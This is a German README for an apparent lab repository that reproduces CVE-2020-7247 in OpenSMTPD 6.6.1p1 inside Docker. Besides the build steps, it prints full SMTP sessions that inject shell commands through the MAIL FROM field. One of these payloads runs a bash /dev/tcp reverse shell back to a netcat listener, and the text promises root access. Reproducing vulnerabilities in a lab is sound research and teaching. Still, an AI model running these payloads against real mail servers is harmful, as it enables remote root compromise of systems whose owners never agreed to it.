
Docker-basierte Umgebung zur Reproduktion von CVE-2020-7247 (OpenSMTPD) mit einem Python-Exploit-Skript für die Ausführung beliebiger Befehle und eine Reverse Shell über ein manipuliertes SMTP MAIL FROM-Feld.
Dieses Repository enthält die notwendigen Dateien, um ein Docker-Image zu erstellen, das eine verwundbare Umgebung von OpenSMTPD (6.6.1p1) enthält. Die Schwachstelle ermöglicht es einem Angreifer, beliebige Befehle durch eine speziell präparierte SMTP-Sitzung auszuführen, insbesondere im MAIL FROM-Feld.
docker build -t opensmtpd-vuln -f Dockerfile .
docker run -it --rm --name opensmtpd-vuln-test opensmtpd-vuln /bin/bash
smtpd -dv
nix-build opensmtpd-vuln.nix
docker load < result
docker run -it --rm opensmtpd-vuln-nix /bin/bash
smtpd -dv
3.1. Beliebige Befehle ausführen:
$nc 172.17.0.2 25
220 debian ESMTP OpenSMTPD
HELO toto
250 debian Hello toto [172.17.0.1], pleased to meet you
MAIL FROM:<;touch secret.txt;>
250 2.0.0 Ok
RCPT TO:<[email protected]>
250 2.1.5 Destination address valid: Recipient ok
data
354 Enter mail, end with "." on a line by itself
Hello Bonjour Xin chào
.
250 2.0.0 09cb8342 Message accepted for delivery
QUIT
221 2.0.0 Bye
3.2. Reverse Shell erhalten:
Listener einrichten:
nc -lnvp 8080
Führen Sie das exploit.py-Skript aus (in einem anderen Terminal):
python3 exploit.py
Oder manuell ausführen:
$nc 172.17.0.2 25
220 debian ESMTP OpenSMTPD
HELO toto
250 debian Hello toto [172.17.0.1], pleased to meet you
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
250 2.0.0 Ok
RCPT TO:<[email protected]>
250 2.1.5 Destination address valid: Recipient ok
data
354 Enter mail, end with "." on a line by itself
#0
#1
#2
#3
#4
#5
#6
#7
#8
#9
#a
#b
#c
#d
sh -c 'echo "bash -i >& /dev/tcp/172.17.0.1/8080 0>&1" | bash'
.
250 2.0.0 09cb8342 Message accepted for delivery
QUIT
221 2.0.0 Bye
Sie sollten nun eine Shell als Root auf dem Host-Rechner haben.